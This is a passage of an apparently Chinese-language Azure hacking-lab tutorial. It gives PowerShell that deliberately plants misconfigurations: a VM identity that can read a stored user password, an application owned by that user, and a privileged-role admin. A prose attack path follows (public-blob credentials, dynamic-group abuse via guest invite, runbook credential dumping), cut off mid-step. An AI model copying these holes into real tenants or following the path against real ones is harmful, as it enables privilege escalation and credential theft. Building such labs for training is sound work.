leaf="">&#39;AZHACKManagedIdentity&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">identity</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzUserAssignedIdentity</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">identityName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ResourceGroupName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rgName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Location </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Update-AzVM</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ResourceGroupName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rgName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">VM </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">vm</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">IdentityType UserAssigned </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">IdentityID </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">identity</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.Id</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">创建名为 &#34;ADSIKKERHED&#34; 的密钥保管库，并为托管标识主体分配列出和获取机密的访问权限</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">keyVaultName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;ADSIKKERHED&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">keyVault</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzKeyVault</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ResourceGroupName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rgName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">keyVaultName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Location </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">secretValue</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ConvertTo-SecureString</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">String </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">PasswordProfile</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.Password</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AsPlainText </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Force</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Set-AzKeyVaultSecret</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">VaultName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">keyVaultName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name AppOwner </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">SecretValue </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">secretValue</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzRoleAssignment</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">RoleDefinitionName Reader </span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Scope </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">keyVault</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ResourceId</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ObjectId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">identity</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.PrincipalId</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Set-AzKeyVaultAccessPolicy</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ResourceGroupName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rgName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">VaultName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">keyVaultName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ServicePrincipalName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">identity</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ClientId</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">PermissionsToSecrets get</span><span style="color: rgb(215, 58, 73);"><span leaf="">,</span></span><span leaf="">list</span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">从 Azure AD 中的 &#34;应用注册&#34; 创建新应用程序并命名为 &#34;HackingApp&#34;</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">在管理组上将服务主体 (HackingApp) 分配为存储账户参与者 (必须通过 GUI 执行)</span></p></li></ul><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Azure 管理组界面" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012252" style="max-width: 100%;" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=e23fa5ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSh5xnWspzfmwlpiazvClQZKenicexrdl86T5UED2Ec9xdiarEbWuKQDoPOuaxSZ8tTiap8gNH6kWwVyhwEZDz2RJNZjr9a9VNRIev0%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><figcaption><span leaf="">Azure 管理组界面</span></figcaption></figure><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">使 &#34;AppOwner&#34; 成为 hacking 应用程序的所有者</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ObjectID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzureADApplication</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Filter </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;DisplayName eq &#39;HackingApp&#39;&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Select-Object</span></span><span leaf=""> ObjectID</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">RefObjectId</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzureADUser</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Filter </span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;userPrincipalName eq &#39;AppOwner@adsikkerhed.dk&#39;&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Select-Object</span></span><span leaf=""> ObjectID</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Add-AzureADApplicationOwner</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ObjectId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ObjectID</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ObjectId</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">RefObjectId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">RefObjectId</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ObjectId</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ObjectID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzureADServicePrincipal</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">SearchString HackingApp </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Select-Object</span></span><span leaf=""> ObjectID</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Add-AzureADServicePrincipalOwner</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ObjectId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ObjectID</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ObjectId</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">RefObjectId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">RefObjectId</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ObjectId</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">授予 &#34;privadmin&#34; 用户 &#34;Privileged Role Administrator&#34; 角色</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">user</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzureADUser</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Filter </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;userPrincipalName eq &#39;privadmin@adsikkerhed.dk&#39;&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">roleDefinition</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzureADMSRoleDefinition</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Filter </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;displayName eq &#39;Privileged Role Administrator&#39;&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">roleAssignment</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzureADMSRoleAssignment</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DirectoryScopeId </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;/&#39;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">RoleDefinitionId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">roleDefinition</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.Id</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">PrincipalId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">user</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.objectId</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">为 &#34;privadmin&#34; 用户授予新资源组的访问权限，以便可以创建云 Shell</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;CLOUDSHELL&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;northeurope&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzResourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Location </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzRoleAssignment</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ObjectId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">user</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ObjectId</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">RoleDefinitionName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Contributor&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ResourceGroupName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzRoleAssignment</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ObjectId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">user</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ObjectId</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">RoleDefinitionName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Reader&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ResourceGroupName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">以 privadmin 用户身份登录并设置云 Shell</span></p></li></ul><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="云 Shell 设置界面" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012253" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1c4898ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjFuWqPbQNBSgFf0XjYxy7CqXZthe4JNzoicQRmBTsXNgibr9r3CQQMyCoS66yXicVOKLvTYuYUkLslz2GnA3AoAX2xL3EFyEoxBA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">云 Shell 设置界面</span></figcaption></figure><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">攻击路径</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下部分是攻击路径的概览描述。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">未认证状态</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">使用 MicroBurst 枚举子域名</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">使用 MicroBurst 枚举 blob 以获取公共存储</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">从公共存储容器读取包含凭据 (常规 Azure AD 用户) 的 Excel 表</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">使用 MFASweep 进行 MFA 扫描，确保没有 MFA 或 CA 策略阻止</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">使用 PowerShell Az 连接到 Azure (使用容器中的用户 (nfp))</span></p></li></ul><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (Reader)</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">查找具有动态成员资格的组，该组在订阅上被分配为 &#34;Automation Contributor&#34;。动态组搜索显示名称中的 &#34;automationadmin&#34;</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">创建名称中包含 &#34;automationadmin&#34; 的电子邮件身份，例如 </span><em style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">&#34;nichlas.automationadmin@protonmail.com&#34;</span></em></p></li><li style="margin: 15px 0px;"><p><span leaf="">邀请访客用户到受害者租户并接受邀请</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">使用访客用户连接到受害者租户，并使用 MicroBurst 转储自动化账户 runbooks</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">从转储的 runbook 中，收集服务主体 (VMContributor) 的凭据，该服务主体是订阅上的 &#34;虚拟机参与者&#34;</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">使用 SP 连接到 Azure</span></p></li></ul><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (订阅上的虚拟机参与者)</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">在虚拟机上调用 PowerShell 以发现它配置了托管标识 